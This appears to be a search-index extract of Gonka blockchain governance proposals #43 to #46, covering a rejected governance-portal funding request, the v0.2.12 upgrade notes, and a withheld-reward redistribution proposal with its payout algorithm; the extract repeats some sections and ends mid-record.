Today, participating in Gonka governance requires following multiple channels simultaneously — GitHub, Discord, CLI — just to cast a single vote. Most miners miss proposals entirely or vote too late. Low participation threatens quorum and undermines the network's ability to make decisions. We propose a unified Governance Portal that brings all governance activity into one place: a proposal feed, miner-weighted ratings, deposit crowdfunding, and browser-based voting via a restricted hot key. No CLI required. No missed votes. Funding request: 50,000 USDT equivalent in GNK, paid in full upon approval. Full proposal and prototype: https://github.com/gonka-ai/gonka/discussions/1104
"}, {"location": "proposals/proposals/2026-q2/43/#final-tally", "title": "Final Tally", "text": "Yes 123,104 (26.5%) No 335,534 (72.2%) Veto 5,913 (1.3%) Abstain 0 (0.0%) Total 464,551 votes"}, {"location": "proposals/proposals/2026-q2/43/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka14zlgmrd6v5gaqudxmvkn0yg8g55qpvcep9n6ds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"104166000000000\"\n }\n ]\n }\n]\nPassed
Proposal ID: 44
Type: Software Upgrade
Submit: 2026-04-28 00:11 UTC
Voting: 2026-04-28 00:11 UTC → 2026-04-30 00:11 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/76d0eb971233f9544f681a25e860844e3f45641e/proposals/governance-artifacts/update-v0.2.12/README.md
View on gonka.gg
Upgrade Proposal: v0.2.12
"}, {"location": "proposals/proposals/2026-q2/44/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/44/#upgrade-proposal-v0212", "title": "Upgrade Proposal: v0.2.12", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.12. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml and introduces a new versiond service in the join stack.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers as part of the on-chain upgrade itself. After the upgrade, hosts must deploy the new versiond service and update and redeploy proxy with VERSIOND_SERVICE_NAME=versiond and GONKA_API_EXEMPT_ROUTES=chat inference poc/proofs devshard so /devshard/<version>/* traffic is routed through proxy -> versiond -> devshardd. New hosts joining after the upgrade should use the updated container versions from this compose file.
The on-chain upgrade from version v0.2.11 to v0.2.12 has been successfully deployed and verified on the testnet. No regression in core functionality or performance has been observed during testing. More testing will be executed leading up to the upgrade.
Reviewers are encouraged to request access to testnet environments to validate both node behavior and the on-chain upgrade process, or to replay the upgrade on private testnets.
"}, {"location": "proposals/proposals/2026-q2/44/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migrations:
x/feegrant allowances for every existing cold-to-warm ML ops authz grant in case transaction fees are later turned on.FeeParams with min_gas_price_ngonka = 0 (fees are effectively disabled at upgrade time, see Changes).PocParams.Models list and initializes DelegationParams.moonshotai/Kimi-K2.6 governance model and its PoC model config (seq_len=1024, scaled weight coefficient, penalty start at effective epoch + 2).DevshardEscrowParams.ApprovedVersions with the initial v1 devshard binary (sha256 15f72244...d36d4715) so versiond has an approved version to download and run immediately after the upgrade.EpochParams.ConfirmationPocSafetyWindow to 500 blocks and DelegationParams.DeployWindow to 500 blocks.ActiveParticipant.VotingPowers and EpochGroupData subgroup voting power for the current epoch to ensure seamless PoC validation post-upgrade.TopMiners and training states (training will be moved to an off-chain architecture similar to devshards).Historically, PoC has been tied to a single base model. While the network aims to support multi-model inference, relying on a single-model PoC is not secure enough.
If the network served several models but only checked one during PoC, an attacker could spin up hardware just for the check and shut it down afterward. To prevent this, PoC must start immediately on the exact model being validated, proving the hardware is present and running that model right now with no window to swap deployments.
To support multiple models, this upgrade runs PoC for each model independently in separate model groups. The core mechanics:
PoC weight is model-local and drives inference routing and inference rewards inside that specific group. Consensus weight is the total weight aggregated across all eligible model groups (using model-specific coefficients) that determines block signing power, voting power, and bitcoin-style rewards.The current base model remains the starting group for bootstrapping additional models. The exact model coefficients and final parameter values are not yet part of this PR.
"}, {"location": "proposals/proposals/2026-q2/44/#transaction-fees-for-spam-prevention-937-981-1120", "title": "Transaction fees for spam prevention (#937, #981, #1120)", "text": "v0.2.12 lays the groundwork for consensus-level transaction fees. Before this upgrade, any funded account could broadcast an unlimited number of transactions at zero cost, because the chain relied only on per-validator minimum-gas-prices configuration, which is mempool-only and trivially bypassed by a malicious block proposer. This left governance proposals, bank sends, staking operations, collateral management, reward claims, bridge operations, and CosmWasm calls without any economic friction against abuse.
v0.2.12 introduces a governance-controlled FeeParams.min_gas_price_ngonka enforced during both CheckTx and DeliverTx. The full machinery is in place: a NetworkDutyFeeBypassDecorator that exempts protocol-obligation messages (PoC submissions, validation messages, inference start/finish, BLS DKG rounds), and a two-component fee on MsgPoCV2StoreCommit for Host sybil resistance (a base validation cost per participant per epoch plus a count-proportional cost per count delta).
Fees are effectively disabled at upgrade time. min_gas_price_ngonka is initialized to 0 due to remaining issues in client-side gas estimation. Once those are resolved, governance can flip on a non-zero value without a chain upgrade. No host action is required to support fees in this release; the upgrade still installs x/feegrant allowances from cold to warm keys so the switch can be flipped without a follow-up migration.
Previously, the devshard runtime lived inside the main DAPI process. Upgrading devshards meant rebuilding, redeploying, and restarting the entire DAPI, which slowed down development and added risk to all Host work (including inference, PoC, and Confirmation PoC).
To solve this, v0.2.12 decouples devshards into a standalone, versioned runtime managed by a new service called versiond.
versiond automatically downloads and runs devshard binaries approved by on-chain governance./devshard/<version>/* is routed to the corresponding binary, while the legacy /v1/devshard/* route remains active during the transition.version field, ensuring a session cannot mix responses from different versions.Previously, \"preserved\" nodes (the ones that stay on inference instead of running PoC) were chosen once per epoch via the static MLNodeInfo.timeslot_allocation[POC_SLOT] flag. Because the flag was visible at epoch start and held for the entire epoch, an operator knew well in advance which boxes would skip both the epoch-start PoC and every confirmation PoC event in that epoch. That made hardware downgrade or partial-capacity substitution easy to plan around.
v0.2.12 replaces epoch-long preservation with episode-scoped preservation. An episode is a single PoC execution window: either the epoch-start regular PoC, or one confirmation PoC event during the inference phase. At each PoC anchor (upcomingEpoch.PocStartBlockHeight for regular PoC, event.TriggerHeight for confirmation), the chain materializes a fresh preserved snapshot for that single episode and overwrites a singleton state slot. The next episode gets a new sample.
Key properties:
EpochGroupData.ValidationWeights / MlNodes, applying existing protocol exclusions.ActiveParticipants stays stable for the whole epoch; timeslot_allocation[POC_SLOT] is deprecated for scheduling.vw.ConfirmationWeight that starts at the participant's full coefficient-adjusted total and is lowered per event via min(ConfirmationWeight, preserved(event) + measured(event)). Honest operation keeps it at full; missed or invalid readings pull it down.Local admin-disable behavior is unchanged: it still runs before the preserved check on the broker side and is not an input to the chain-side snapshot. Chain-visible hardware withdrawal still goes through MsgSubmitHardwareDiff and only takes effect at the next ActiveParticipants generation.
moonshotai/Kimi-K2.6)", "text": "The upgrade introduces moonshotai/Kimi-K2.6 as a second governance-approved model, exercising the new multi-model PoC infrastructure end to end. The migration registers both the governance Model entry (HF repo, commit, tool/reasoning parsers, VRAM and throughput hints) and the corresponding PoCModelConfig (seq_len=1024, scaled weight coefficient relative to the base model, validation threshold 0.92). The penalty for not choosing a participation mode (DIRECT / DELEGATE / REFUSE / INTENT) starts at the effective epoch + 2, giving Hosts a grace period to decide.
The Certik audit produced a number of findings across the chain, bridge, BLS, and inference modules. This upgrade addresses the full set of findings flagged for v0.2.12: GEB-44, GEB-45, GEB-46 (ETH/WGNK address collision), GEB-51, GEB-54, GOC-15, plus a second batch of bridge and BLS findings. No known findings from the audit remain unaddressed.
"}, {"location": "proposals/proposals/2026-q2/44/#removals-and-cleanups", "title": "Removals and cleanups", "text": "TopMiners collection during migration with no financial impact.inference_finished event parsing failed on zero-timestamps.For Hosts, participation logic is now evaluated on a model-by-model basis. For each governance-approved model, a Host must choose one of the following participation modes:
Note: Delegation is necessary because not every Host can realistically run every model due to hardware constraints. Without delegation, a model group whose direct members hold less than 2/3 of the total network weight could never pass PoC validation.
"}, {"location": "proposals/proposals/2026-q2/44/#final-tally", "title": "Final Tally", "text": "Yes 506,142 (99.6%) No 2,057 (0.4%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 508,199 votes"}, {"location": "proposals/proposals/2026-q2/44/#messages", "title": "Messages", "text": "# Type 1/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.12\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"3834200\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/inferenced-amd64.zip?checksum=sha256:df7656503d39f6703767d32d5578d1291e32cb114844d8c1cd0f134d1bf4babd\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/decentralized-api-amd64.zip?checksum=sha256:d0143a95e12e1ada06cfea5e4d3deab13534c3523c967e9a6b87ac9f9bf3247d\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.12. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml and introduces a new versiond service in the join stack.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers as part of the on-chain upgrade itself. After the upgrade, hosts must deploy the new versiond service and update and redeploy proxy with VERSIOND_SERVICE_NAME=versiond and GONKA_API_EXEMPT_ROUTES=chat inference poc/proofs devshard so /devshard/<version>/* traffic is routed through proxy -> versiond -> devshardd. New hosts joining after the upgrade should use the updated container versions from this compose file.
The on-chain upgrade from version v0.2.11 to v0.2.12 has been successfully deployed and verified on the testnet. No regression in core functionality or performance has been observed during testing. More testing will be executed leading up to the upgrade.
Reviewers are encouraged to request access to testnet environments to validate both node behavior and the on-chain upgrade process, or to replay the upgrade on private testnets.
"}, {"location": "proposals/proposals/2026-q2/44/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migrations:
x/feegrant allowances for every existing cold-to-warm ML ops authz grant in case transaction fees are later turned on.FeeParams with min_gas_price_ngonka = 0 (fees are effectively disabled at upgrade time, see Changes).PocParams.Models list and initializes DelegationParams.moonshotai/Kimi-K2.6 governance model and its PoC model config (seq_len=1024, scaled weight coefficient, penalty start at effective epoch + 2).DevshardEscrowParams.ApprovedVersions with the initial v1 devshard binary (sha256 15f72244...d36d4715) so versiond has an approved version to download and run immediately after the upgrade.EpochParams.ConfirmationPocSafetyWindow to 500 blocks and DelegationParams.DeployWindow to 500 blocks.ActiveParticipant.VotingPowers and EpochGroupData subgroup voting power for the current epoch to ensure seamless PoC validation post-upgrade.TopMiners and training states (training will be moved to an off-chain architecture similar to devshards).Historically, PoC has been tied to a single base model. While the network aims to support multi-model inference, relying on a single-model PoC is not secure enough.
If the network served several models but only checked one during PoC, an attacker could spin up hardware just for the check and shut it down afterward. To prevent this, PoC must start immediately on the exact model being validated, proving the hardware is present and running that model right now with no window to swap deployments.
To support multiple models, this upgrade runs PoC for each model independently in separate model groups. The core mechanics:
PoC weight is model-local and drives inference routing and inference rewards inside that specific group. Consensus weight is the total weight aggregated across all eligible model groups (using model-specific coefficients) that determines block signing power, voting power, and bitcoin-style rewards.The current base model remains the starting group for bootstrapping additional models. The exact model coefficients and final parameter values are not yet part of this PR.
"}, {"location": "proposals/proposals/2026-q2/44/full-proposal/#transaction-fees-for-spam-prevention-937-981-1120", "title": "Transaction fees for spam prevention (#937, #981, #1120)", "text": "v0.2.12 lays the groundwork for consensus-level transaction fees. Before this upgrade, any funded account could broadcast an unlimited number of transactions at zero cost, because the chain relied only on per-validator minimum-gas-prices configuration, which is mempool-only and trivially bypassed by a malicious block proposer. This left governance proposals, bank sends, staking operations, collateral management, reward claims, bridge operations, and CosmWasm calls without any economic friction against abuse.
v0.2.12 introduces a governance-controlled FeeParams.min_gas_price_ngonka enforced during both CheckTx and DeliverTx. The full machinery is in place: a NetworkDutyFeeBypassDecorator that exempts protocol-obligation messages (PoC submissions, validation messages, inference start/finish, BLS DKG rounds), and a two-component fee on MsgPoCV2StoreCommit for Host sybil resistance (a base validation cost per participant per epoch plus a count-proportional cost per count delta).
Fees are effectively disabled at upgrade time. min_gas_price_ngonka is initialized to 0 due to remaining issues in client-side gas estimation. Once those are resolved, governance can flip on a non-zero value without a chain upgrade. No host action is required to support fees in this release; the upgrade still installs x/feegrant allowances from cold to warm keys so the switch can be flipped without a follow-up migration.
Previously, the devshard runtime lived inside the main DAPI process. Upgrading devshards meant rebuilding, redeploying, and restarting the entire DAPI, which slowed down development and added risk to all Host work (including inference, PoC, and Confirmation PoC).
To solve this, v0.2.12 decouples devshards into a standalone, versioned runtime managed by a new service called versiond.
versiond automatically downloads and runs devshard binaries approved by on-chain governance./devshard/<version>/* is routed to the corresponding binary, while the legacy /v1/devshard/* route remains active during the transition.version field, ensuring a session cannot mix responses from different versions.Previously, \"preserved\" nodes (the ones that stay on inference instead of running PoC) were chosen once per epoch via the static MLNodeInfo.timeslot_allocation[POC_SLOT] flag. Because the flag was visible at epoch start and held for the entire epoch, an operator knew well in advance which boxes would skip both the epoch-start PoC and every confirmation PoC event in that epoch. That made hardware downgrade or partial-capacity substitution easy to plan around.
v0.2.12 replaces epoch-long preservation with episode-scoped preservation. An episode is a single PoC execution window: either the epoch-start regular PoC, or one confirmation PoC event during the inference phase. At each PoC anchor (upcomingEpoch.PocStartBlockHeight for regular PoC, event.TriggerHeight for confirmation), the chain materializes a fresh preserved snapshot for that single episode and overwrites a singleton state slot. The next episode gets a new sample.
Key properties:
EpochGroupData.ValidationWeights / MlNodes, applying existing protocol exclusions.ActiveParticipants stays stable for the whole epoch; timeslot_allocation[POC_SLOT] is deprecated for scheduling.vw.ConfirmationWeight that starts at the participant's full coefficient-adjusted total and is lowered per event via min(ConfirmationWeight, preserved(event) + measured(event)). Honest operation keeps it at full; missed or invalid readings pull it down.Local admin-disable behavior is unchanged: it still runs before the preserved check on the broker side and is not an input to the chain-side snapshot. Chain-visible hardware withdrawal still goes through MsgSubmitHardwareDiff and only takes effect at the next ActiveParticipants generation.
moonshotai/Kimi-K2.6)", "text": "The upgrade introduces moonshotai/Kimi-K2.6 as a second governance-approved model, exercising the new multi-model PoC infrastructure end to end. The migration registers both the governance Model entry (HF repo, commit, tool/reasoning parsers, VRAM and throughput hints) and the corresponding PoCModelConfig (seq_len=1024, scaled weight coefficient relative to the base model, validation threshold 0.92). The penalty for not choosing a participation mode (DIRECT / DELEGATE / REFUSE / INTENT) starts at the effective epoch + 2, giving Hosts a grace period to decide.
The Certik audit produced a number of findings across the chain, bridge, BLS, and inference modules. This upgrade addresses the full set of findings flagged for v0.2.12: GEB-44, GEB-45, GEB-46 (ETH/WGNK address collision), GEB-51, GEB-54, GOC-15, plus a second batch of bridge and BLS findings. No known findings from the audit remain unaddressed.
"}, {"location": "proposals/proposals/2026-q2/44/full-proposal/#removals-and-cleanups", "title": "Removals and cleanups", "text": "TopMiners collection during migration with no financial impact.inference_finished event parsing failed on zero-timestamps.For Hosts, participation logic is now evaluated on a model-by-model basis. For each governance-approved model, a Host must choose one of the following participation modes:
Note: Delegation is necessary because not every Host can realistically run every model due to hardware constraints. Without delegation, a model group whose direct members hold less than 2/3 of the total network weight could never pass PoC validation.
"}, {"location": "proposals/proposals/2026-q2/45/", "title": "#45 – Governance Architecture Proposal for the Gonka.ai Network", "text": "Rejected
Proposal ID: 45
Type: Community Pool Spend
Submit: 2026-04-29 20:28 UTC
Voting: 2026-04-29 20:28 UTC → 2026-05-01 20:28 UTC
Proposer: gonka1syw6cs7jl5rmz7gpm3rq3836y2t484xp00ywrz
Metadata: https://github.com/gonka-ai/gonka/discussions/1104
Failed reason: proposal did not get enough votes to pass
119,000 GNK · Community PoolView on gonka.gg
Replace scattered governance discussions and complex CLI voting with a unified Governance Portal - a single interface for all Gonka governance activity. The portal includes: a proposal feed across Discussion/Voting/Archive stages, miner-weighted ranking, crowdfunded deposit collection, targeted notifications (Telegram/email/on-site), and browser-based voting via restricted hot keys (no CLI required). Critical point: this is not just a convenient UI - the crowdfunded deposit mechanism acts as an economic quality filter that screens proposals before they reach on-chain voting, preventing low-effort or spam proposals from consuming validator attention. Funding request: 50,000 USDT (~119,000 GNK), split into Phase 1 MVP (30,000 USDT - portal frontend/backend, wallet auth, deposit crowdfunding) and Phase 2 (20,000 USDT - escrow contracts, dynamic quorum, reputation systems). Code will be open-sourced upon launch. We guarantee 90 days of post-launch support; afterwards, the portal becomes community-owned and further support/maintenance will be funded through community governance votes. Prototype: https://vote-demo.gonkabroker.com. Full discussion: https://github.com/gonka-ai/gonka/discussions/1104.
"}, {"location": "proposals/proposals/2026-q2/45/#final-tally", "title": "Final Tally", "text": "Yes 118,126 (25.6%) No 0 (0.0%) Veto 210,906 (45.6%) Abstain 133,057 (28.8%) Total 462,089 votes"}, {"location": "proposals/proposals/2026-q2/45/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka14zlgmrd6v5gaqudxmvkn0yg8g55qpvcep9n6ds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"119000000000000\"\n }\n ]\n }\n]\nPassed
Proposal ID: 46
Type: Batch Transfer With Vesting, Multi Send
Submit: 2026-05-02 03:52 UTC
Voting: 2026-05-02 03:52 UTC → 2026-05-04 03:52 UTC
Proposer: gonka1gmuxdcxlsxn5z72elx77w9zym7yrgfxqgzg6ry
Metadata: https://github.com/gonkavip/taxreturn/blob/main/README.md
3,053,800 GNK · Gov ModuleView on gonka.gg
Two prior upgrades changed the lifecycle of unpaid miner rewards. v0.2.9 (proposal #26, 2026-02-01): when a participant is penalized during cPoC validation, the unaccounted portion of their epoch reward is no longer redistributed among the remaining participants in the epoch — it is sent to the gov module account. v0.2.11 (proposal #31, 2026-03-20, PR #775): slashed collateral was likewise routed to the gov account instead of being burned. As a result the gov account (gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33) has accumulated roughly 3 053 801 GNK of withheld miner rewards over epochs 132–247. These coins were originally minted as miner reward, not as community subsidy. The community pool (gonka1jv65s3grqf6v6jl3dp4t6c9t9rk99cd8h2rzwa, separate account) already holds ~103M GNK + 10K IBC USDT for community initiatives.
What this proposal does. Returns the historical inflow of epochs 132–247 to the miners who actually performed in those epochs, proportional to each miner's rewarded_coins. Distribution is computed deterministically from on-chain data via a single Python script: see https://github.com/gonkavip/taxreturn for the full algorithm, reproducible code, and the exact payout CSV. Total to be distributed: 3 053 800.853 GNK across 1 623 recipients.
Execution. Recipients with share ≥ 10 GNK (1 204 miners, 3 052 968.210 GNK) are paid via MsgBatchTransferWithVesting with 180-epoch vesting (same instrument used by proposals #32 and #33), split into 3 batches of ≤500 outputs as required by the streamvesting module. Recipients with share < 10 GNK (419 miners, 832.643 GNK) are paid via a single MsgMultiSend from the gov account, instant (no vesting). This is required because the streamvesting module enforces MinTransferNgonka = 10_000_000_000 (10 GNK) on every output of MsgBatchTransferWithVesting; including a sub-10 GNK recipient in a vesting batch would cause the entire transaction to fail with ErrInvalidCoins. Sending the dust portion via plain bank transfer is the only way to keep these miners whole without artificially inflating their share.
Notes. The proposer takes no fee — every ngonka returns to the miners. Hamilton (largest-remainder) integer apportionment guarantees the sum of all per-recipient amounts equals the total inflow exactly, with no rounding loss. Past compensations from proposals #32 and #33 (~55 000 GNK) are not subtracted from individual recipients; the resulting double-payment for those addresses is on the order of 1.7% of the total wallet balance and below typical per-epoch noise. After execution roughly 200 160 GNK will remain in the gov account (inflows from epochs > 247 plus minor pre-132 entries) and is not addressed by this proposal.
"}, {"location": "proposals/proposals/2026-q2/46/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q2/46/#gonka-withheld-rewards-redistribution", "title": "Gonka Withheld Rewards Redistribution", "text": "This directory contains a reference computation for redistributing the withheld-reward balance accumulated in the gov module account back to the miners who participated in epochs 132..247.
The output is a single CSV that maps each historical participant to the exact amount of ngonka they should receive. The numbers are deterministic and verifiable against the on-chain state of any gonka full node.
gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33).Two upgrades changed the lifecycle of unpaid rewards on chain. Together they moved miner-earned coins that were not paid out for performance reasons from the participant set into a single pool — the gov module account. This proposal addresses what should happen to that pool now that it has grown substantial.
"}, {"location": "proposals/proposals/2026-q2/46/#upgrade-v029-withheld-rewards-routed-to-gov", "title": "Upgrade v0.2.9 — Withheld rewards routed to gov", "text": "Before v0.2.9, when a participant was penalized during cPoC validation (e.g. for missed validations or invalid inferences), the unpaid portion of their epoch reward was redistributed among the remaining participants in the same epoch. v0.2.9 changed this: the unaccounted portion is now transferred to the gov module account instead.
From the v0.2.9 release notes (proposal #26, passed 2026-02-01, executed at block 2 451 000):
Reward flow correction for cPoC cases. In cases where rewards are reduced or excluded due to cPoC penalties, the unaccounted portion is transferred to the Community pool. Previously, such rewards were redistributed among other participants.
Although the announcement says \"Community pool\", on chain the destination is the gov module account (auth/gov), not the community pool managed by auth/distribution. That distinction is not cosmetic — see the section \"Why these are miner funds, not community funds\" below.
v0.2.11 (proposal #31, passed 2026-03-20) extended the same policy to slashed collateral. PR #775 replaced BurnCoins(...) with SendCoinsFromModuleToModule(..., govtypes.ModuleName, ...), making the rule consistent across all forms of forfeited miner funds.
The motivation is captured in the issue #772 that PR #775 closed:
Slashed coins must be transferred to the Governance module account, consistent with how we handle rewards that are withheld from miners during penalties. Implementation should reuse or mirror the existing logic that handles redistribution of miner rewards that are not paid out due to penalties.
"}, {"location": "proposals/proposals/2026-q2/46/#earliest-evidence-of-the-mechanism", "title": "Earliest evidence of the mechanism", "text": "The earliest observed inference → gov transfer is at block 2 058 543 (epoch 132, 2026-01-08), so for redistribution purposes epoch 132 is the practical start. Epochs 1..131 show zero gov inflow.
A common misconception is that the gov module balance is \"community money\" and can be spent on grants, marketing, ecosystem initiatives, etc. It is not.
gonka1jv65s3grqf6v6jl3dp4t6c9t9rk99cd8h2rzwa, the auth/distribution module). It is funded by an explicit fraction of inflation and is designed to be spent through MsgCommunityPoolSpend. At time of writing it holds approximately 102 972 832 GNK + 10 000 IBC USDT, more than enough capital for community initiatives.The withheld coins entered the gov account specifically because the mechanic that previously redistributed them inside the epoch was disabled. At the time of the v0.2.9 change there was no follow-up rule defined for how those funds should ultimately be returned. This proposal is that rule.
These coins were never minted as community subsidy — they were minted as miner reward. The participants who did perform their epoch duties were the ones who would have received those coins under the pre-v0.2.9 rule. Returning the balance to them by their proportional share of actually-paid rewards is the most direct restoration of the pre-v0.2.9 economic outcome, modulo the original intent of the v0.2.9 change (no longer giving an extra bonus to in-epoch peers).
"}, {"location": "proposals/proposals/2026-q2/46/#prior-art-proposals-32-and-33", "title": "Prior Art — Proposals #32 and #33", "text": "Two narrow predecessors already used the gov balance to compensate miners who had documented losses:
MsgBatchTransferWithVesting.Both proposals confirm two things relevant to the present design:
The script does not subtract the #32/#33 amounts from any specific recipient's share. Some addresses in those proposals will receive a small additional amount under this distribution — at the order of 1.7% of the total wallet balance (~55 000 GNK out of 3 156 941 GNK), which is well below the typical per-epoch noise.
"}, {"location": "proposals/proposals/2026-q2/46/#algorithm", "title": "Algorithm", "text": "The computation is a deterministic 7-step pipeline implemented in taxreturn.py. Inputs come exclusively from a gonka full node via standard Cosmos REST and Tendermint RPC endpoints; no off-chain data is used.
Read /cosmos/auth/v1beta1/module_accounts and look up the addresses of the gov and inference modules. No chain-specific addresses are hardcoded; the script will work on any gonka network (mainnet, testnet, devnet) that exposes these standard module accounts.
inference → gov happened", "text": "Tendermint RPC block_search indexes both transfer.sender and transfer.recipient event keys. Combining them with an AND query returns exactly the blocks where the inference module sent coins into the gov account, and excludes proposal deposits, refunds, slashed-collateral transfers, etc.
block_search?query=\"transfer.sender='<inference>' AND transfer.recipient='<gov>'\"\nThis yields ~116 blocks for the entire history covered by the proposal — a 5× reduction relative to a naïve recipient='<gov>' query, with no loss of relevant data.
For each block from step 2, fetch block_results?height=H and sum every transfer event whose sender is the inference module and whose recipient is the gov module. This works because block_results returns events as plain JSON; it does not decode tx bodies, so the post-v0.2.12 REST tx-decoding bug (errUnknownField \"*types.TokenomicsParams\") does not affect this path.
End-block events (the actual payout mechanism) are not transactions and therefore are invisible to tx_search and to the Cosmos REST tx endpoints. block_results is the canonical source for them.
For every epoch in [132..247], fetch /inference/inference/epoch_group_data/{n} to obtain:
effective_block_height and last_block_height — the real block range the epoch occupies. Epoch length is governance-controlled and has changed over the chain's history, so derived formulas are unsafe; the on-chain values are the ground truth.validation_weights[*].member_address — the participant set for the epoch.For every (epoch, participant) pair, fetch /inference/inference/epoch_performance_summary/{epoch}/{addr} and read rewarded_coins. This field is the canonical \"how much the participant actually received from this epoch's reward pool\" and matches the vest_reward.amount event attribute observed in on-chain MsgClaimRewards transactions (verified empirically; spot-checked on top recipients).
Each inflow block height is mapped to its epoch using the boundary table from step 4 (eff ≤ h ≤ last). The per-epoch inflow is the sum of ngonka observed in step 3 for that epoch's blocks.
Result: a vector inflow[epoch] → ngonka covering epochs 132..247.
The total amount to distribute is
T = sum(inflow[epoch]) for epoch in 132..247\nThis is the historical inflow, not the current wallet balance. The current balance contains residual amounts from epochs the proposal does not address (in particular, withheld coins from epochs >247 that have arrived since the snapshot, plus a few small pre-132 entries). Choosing T = total in-range inflow ensures that participants of epochs 132..247 receive exactly the funds that originated from those epochs — no more, no less.
Apportionment is performed in two nested levels using Hamilton's largest-remainder method in pure integer ngonka arithmetic:
T across epochs in proportion to inflow[epoch]. The sum of per-epoch budgets equals T exactly.rewarded_coins. Participants with zero rewarded_coins (those who were penalized in that epoch and whose share was withheld) receive nothing from that epoch's budget — they are exactly the participants for whom the funds were withheld in the first place.Both steps use the same Hamilton procedure: compute floor shares, then distribute the leftover (target minus sum of floors) one ngonka at a time to the shares with the largest fractional remainders. This produces an integer allocation whose total equals the target exactly, with no rounding error and no privileged participant.
The final per-recipient amount is the sum of their per-epoch shares across epochs 132..247.
"}, {"location": "proposals/proposals/2026-q2/46/#output", "title": "Output", "text": "A single CSV (payouts.csv by default):
recipient,ngonka,gnk\ngonka1...,257001064815774,257001.064815774\ngonka1...,255743613433661,255743.613433661\n...\nSorted by descending amount. The sum of the ngonka column equals T exactly.
pip install -r requirements.txt\npython3 taxreturn.py {NODE IP} --out payouts.csv\nThe script accepts either a hostname/IP (default port 8000) or a full URL. A SQLite cache is created in cache_<NODE>/ so subsequent runs are incremental — re-running takes seconds rather than minutes.
START_EPOCH and LAST_EPOCH are intentionally hardcoded so that the output is reproducible across runs and across nodes, regardless of how much further the chain has progressed. To extend the range to later epochs, those constants can be updated and the script rerun; the cache will pick up only the new epochs.
taxreturn.py — end-to-end computation script.requirements.txt — single dependency (aiohttp).cache_<NODE_IP>/cache.db — SQLite cache (block_results, epoch metadata, per-participant rewards). Safe to delete; it will be rebuilt on the next run.payouts.csv — output (generated).gov, inference) match the addresses your wallet shows.block_search total returned by the script matches the count visible from any other node.total_inflow printed by the script equals the sum of the ngonka column in the output CSV.total_inflow + outflows_already_paid_to_miners is consistent with the current gov module balance (the difference accounts for inflows from epochs outside [132..247]).rewarded_coins from epoch_performance_summary for any epoch matches the reward reflected in their vest_reward events on chain./inference.streamvesting.MsgBatchTransferWithVesting 2 /inference.streamvesting.MsgBatchTransferWithVesting 3 /inference.streamvesting.MsgBatchTransferWithVesting 4 /cosmos.bank.v1beta1.MsgMultiSend Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka17gpuntq09zsaqtmpe544gc32tk4424dwv5t34f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"257001064815774\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12av9up884t9lcsf70rs0l7jfmkmc8k9sxfuknt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"255743613433661\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ym3np7guxart483yfdxnlztuazx22cjt0e4a2p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"146181292922666\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vjshzxh3sfam2xh0f7vzz4klrv5pkq4zutk8qt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"133077773396493\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1famtxh54kad6ylwtm60j6d7h6unpc08d4vdqnk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"109602184403519\"\n }\n ]\n },\n {\n \"recipient\": 